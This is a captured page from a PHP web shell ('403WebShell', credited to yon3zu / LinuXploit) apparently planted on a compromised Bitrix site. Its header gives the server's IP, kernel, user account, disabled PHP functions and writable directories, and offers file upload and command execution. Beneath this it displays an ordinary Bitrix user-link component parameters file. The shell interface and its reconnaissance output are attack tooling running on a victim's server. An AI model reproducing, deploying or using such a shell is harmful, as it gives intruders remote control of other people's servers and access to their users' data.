%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.149.243.131
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.user.link/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.user.link/.parameters.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

if (IsModuleInstalled('socialnetwork'))
	$bSocNet = true;


if ($bSocNet)
{

	$arRes = $GLOBALS["USER_FIELD_MANAGER"]->GetUserFields("USER", 0, LANGUAGE_ID);
	$userProp = array();
	if (!empty($arRes))
	{
		foreach ($arRes as $key => $val)
			$userProp[$val["FIELD_NAME"]] = ($val["EDIT_FORM_LABEL"] <> '' ? $val["EDIT_FORM_LABEL"] : $val["FIELD_NAME"]);
	}

	$userProp1 = array(
		"LOGIN" => GetMessage("MAIN_UL_P_LOGIN"),
		"NAME" => GetMessage("MAIN_UL_P_NAME"),
		"SECOND_NAME" => GetMessage("MAIN_UL_P_SECOND_NAME"),
		"LAST_NAME" => GetMessage("MAIN_UL_P_LAST_NAME"),
		"EMAIL" => GetMessage("MAIN_UL_P_EMAIL"),
		"LAST_LOGIN" => GetMessage("MAIN_UL_P_LAST_LOGIN"),
		"DATE_REGISTER" => GetMessage("MAIN_UL_P_DATE_REGISTER"),
		"PERSONAL_BIRTHDAY" => GetMessage("MAIN_UL_P_PERSONAL_BIRTHDAY"),
		"PERSONAL_PROFESSION" => GetMessage("MAIN_UL_P_PERSONAL_PROFESSION"),
		"PERSONAL_WWW" => GetMessage("MAIN_UL_P_PERSONAL_WWW"),
		"PERSONAL_ICQ" => GetMessage("MAIN_UL_P_PERSONAL_ICQ"),
		"PERSONAL_GENDER" => GetMessage("MAIN_UL_P_PERSONAL_GENDER"),
		"PERSONAL_PHOTO" => GetMessage("MAIN_UL_P_PERSONAL_PHOTO"),
		"PERSONAL_NOTES" => GetMessage("MAIN_UL_P_PERSONAL_NOTES"),
		"PERSONAL_PHONE" => GetMessage("MAIN_UL_P_PERSONAL_PHONE"),
		"PERSONAL_FAX" => GetMessage("MAIN_UL_P_PERSONAL_FAX"),
		"PERSONAL_MOBILE" => GetMessage("MAIN_UL_P_PERSONAL_MOBILE"),
		"PERSONAL_PAGER" => GetMessage("MAIN_UL_P_PERSONAL_PAGER"),
		"PERSONAL_COUNTRY" => GetMessage("MAIN_UL_P_PERSONAL_COUNTRY"),
		"PERSONAL_STATE" => GetMessage("MAIN_UL_P_PERSONAL_STATE"),
		"PERSONAL_CITY" => GetMessage("MAIN_UL_P_PERSONAL_CITY"),
		"PERSONAL_ZIP" => GetMessage("MAIN_UL_P_PERSONAL_ZIP"),
		"PERSONAL_STREET" => GetMessage("MAIN_UL_P_PERSONAL_STREET"),
		"PERSONAL_MAILBOX" => GetMessage("MAIN_UL_P_PERSONAL_MAILBOX"),
		"WORK_COMPANY" => GetMessage("MAIN_UL_P_WORK_COMPANY"),
		"WORK_DEPARTMENT" => GetMessage("MAIN_UL_P_WORK_DEPARTMENT"),
		"WORK_POSITION" => GetMessage("MAIN_UL_P_WORK_POSITION"),
		"WORK_WWW" => GetMessage("MAIN_UL_P_WORK_WWW"),
		"WORK_PROFILE" => GetMessage("MAIN_UL_P_WORK_PROFILE"),
		"WORK_LOGO" => GetMessage("MAIN_UL_P_WORK_LOGO"),
		"WORK_NOTES" => GetMessage("MAIN_UL_P_WORK_NOTES"),
		"WORK_PHONE" => GetMessage("MAIN_UL_P_WORK_PHONE"),
		"WORK_FAX" => GetMessage("MAIN_UL_P_WORK_FAX"),
		"WORK_PAGER" => GetMessage("MAIN_UL_P_WORK_PAGER"),
		"WORK_COUNTRY" => GetMessage("MAIN_UL_P_WORK_COUNTRY"),
		"WORK_STATE" => GetMessage("MAIN_UL_P_WORK_STATE"),
		"WORK_CITY" => GetMessage("MAIN_UL_P_WORK_CITY"),
		"WORK_ZIP" => GetMessage("MAIN_UL_P_WORK_ZIP"),
		"WORK_STREET" => GetMessage("MAIN_UL_P_WORK_STREET"),
		"WORK_MAILBOX" => GetMessage("MAIN_UL_P_WORK_MAILBOX"),
	);

}

$arNameTemplate = array(
	'#LAST_NAME# #NAME#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_SMITH_JOHN'),
	'#LAST_NAME# #NAME# #SECOND_NAME#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_SMITH_JOHN_LLOYD'),
	'#LAST_NAME#, #NAME# #SECOND_NAME#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_SMITH_COMMA_JOHN_LLOYD'),
	'#NAME# #SECOND_NAME# #LAST_NAME#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_JOHN_LLOYD_SMITH'),
	'#NAME_SHORT# #SECOND_NAME_SHORT# #LAST_NAME#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_J_L_SMITH'),
	'#NAME_SHORT# #LAST_NAME#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_J_SMITH'),
	'#LAST_NAME# #NAME_SHORT#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_SMITH_J'),
	'#LAST_NAME# #NAME_SHORT# #SECOND_NAME_SHORT#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_SMITH_J_L'),
	'#LAST_NAME#, #NAME_SHORT#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_SMITH_COMMA_J'),
	'#LAST_NAME#, #NAME_SHORT# #SECOND_NAME_SHORT#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_SMITH_COMMA_J_L'),
	'#NAME# #LAST_NAME#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_JOHN_SMITH'),
	'#NAME# #SECOND_NAME_SHORT# #LAST_NAME#' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_JOHN_L_SMITH'),
	'' => GetMessage('MAIN_UL_P_NAME_TEMPLATE_SITE')
);

$arComponentParameters = array(
	"PARAMETERS" => array(
		"CACHE_TIME" => array("DEFAULT"=>"7200"),
		"ID" => array(
			"PARENT" => "BASE",
			"NAME" => GetMessage("MAIN_UL_P_USER_ID"),
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
			"DEFAULT" => "",
		),
		'NAME_TEMPLATE' => array(
			'TYPE' => 'LIST',
			'NAME' => GetMessage('MAIN_UL_P_NAME_TEMPLATE'),
			'VALUES' => $arNameTemplate,
			'MULTIPLE' => 'N',
			'ADDITIONAL_VALUES' => 'Y',
			'DEFAULT' => "",
			'PARENT' => 'BASE',
		),
		'SHOW_LOGIN' => array(
			'TYPE' => 'CHECKBOX',
			'NAME' => GetMessage('MAIN_UL_P_SHOW_LOGIN'),
			'VALUE' => 'Y',
			'DEFAULT' => 'Y',
			'PARENT' => 'BASE',
		),
		'USE_THUMBNAIL_LIST' => array(
			'TYPE' => 'CHECKBOX',
			'NAME' => GetMessage('MAIN_UL_P_USE_THUMBNAIL_SMALL'),
			'DEFAULT' => 'Y',
			'PARENT' => 'BASE',
			"REFRESH" => 'Y'
		),
	)
);

if ($arCurrentValues["USE_THUMBNAIL_LIST"] == "Y"):
	$arComponentParameters["PARAMETERS"]["THUMBNAIL_LIST_SIZE"] = array(
		"PARENT" => "VISUAL",
		"NAME" => GetMessage("MAIN_UL_P_THUMBNAIL_SIZE_SMALL"),
		"TYPE" => "STRING",
		"MULTIPLE" => "N",
		"DEFAULT" => "30",
	);
endif;

if ($bSocNet && CModule::IncludeModule('socialnetwork')):

	if (is_array($arCurrentValues['SHOW_FIELDS']) && in_array("PERSONAL_PHOTO", $arCurrentValues['SHOW_FIELDS'])):
		$arComponentParameters["PARAMETERS"]["THUMBNAIL_DETAIL_SIZE"] = array(
			"PARENT" => "VISUAL",
			"NAME" => GetMessage("MAIN_UL_P_THUMBNAIL_SIZE_LARGE"),
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
			"DEFAULT" => "100",
		);
	endif;

	if (IsModuleInstalled('intranet'))
	{
		$arUserFieldsDef = array(
			"EMAIL",
			"PERSONAL_MOBILE",
			"WORK_PHONE",
			"PERSONAL_ICQ",
			"PERSONAL_PHOTO",
			"PERSONAL_CITY",
			"WORK_COMPANY",
			"WORK_POSITION",
		);
		$arUserPropsDef = array(
			"UF_DEPARTMENT",
			"UF_PHONE_INNER",
		);
	}
	else
	{
		$arUserFieldsDef = array(
			"PERSONAL_ICQ",
			"PERSONAL_BIRTHDAY",
			"PERSONAL_PHOTO",
			"PERSONAL_CITY",
			"WORK_COMPANY",
			"WORK_POSITION"
		);
		$arUserPropsDef = array();
	}

	$arComponentParameters["PARAMETERS"]["SHOW_FIELDS"] = array(
		"PARENT" => "BASE",
		"NAME" => GetMessage("MAIN_UL_P_SHOW_FIELDS"),
		"TYPE" => "LIST",
		"VALUES" => $userProp1,
		"MULTIPLE" => "Y",
		"DEFAULT" => $arUserFieldsDef,
		"REFRESH" => 'Y'
	);
	$arComponentParameters["PARAMETERS"]["USER_PROPERTY"] = array(
		"PARENT" => "BASE",
		"NAME" => GetMessage("MAIN_UL_P_USER_PROPERTY"),
		"TYPE" => "LIST",
		"VALUES" => $userProp,
		"MULTIPLE" => "Y",
		"DEFAULT" => $arUserPropsDef,
	);
	$arComponentParameters["PARAMETERS"]["PATH_TO_SONET_USER_PROFILE"] = array(
		"NAME" => GetMessage("MAIN_UL_P_PATH_TO_SONET_USER_PROFILE"),
		"TYPE" => "STRING",
		"MULTIPLE" => "N",
		"DEFAULT" => "",
		"COLS" => 25,
		"PARENT" => "URL_TEMPLATES",
	);
	$arComponentParameters["PARAMETERS"]["PROFILE_URL"] = array(
		"NAME" => GetMessage("MAIN_UL_P_PROFILE_URL"),
		"TYPE" => "STRING",
		"MULTIPLE" => "N",
		"DEFAULT" => "",
		"COLS" => 25,
		"PARENT" => "BASE",
	);
	$arComponentParameters["PARAMETERS"]["DATE_TIME_FORMAT"] = array(
		"PARENT" => "VISUAL",
		"NAME" => GetMessage("MAIN_UL_P_DATE_TIME_FORMAT"),
		"TYPE" => "LIST",
		"VALUES" => CSocNetTools::GetDateTimeFormat(),
		"MULTIPLE" => "N",
		"DEFAULT" => $GLOBALS["DB"]->DateFormatToPHP(CSite::GetDateFormat("FULL")),
		"ADDITIONAL_VALUES" => "Y",
	);
	$arComponentParameters["PARAMETERS"]["SHOW_YEAR"] = array(
		"PARENT" => "ADDITIONAL_SETTINGS",
		"NAME" => GetMessage("MAIN_UL_P_SHOW_YEAR"),
		"TYPE" => "LIST",
		"VALUES" => array(
			"Y" => GetMessage("MAIN_UL_P_SHOW_YEAR_VALUE_Y"),
			"M" => GetMessage("MAIN_UL_P_SHOW_YEAR_VALUE_M"),
			"N" => GetMessage("MAIN_UL_P_SHOW_YEAR_VALUE_N")
		),
		"MULTIPLE" => "N",
		"DEFAULT" => "Y"
	);

endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit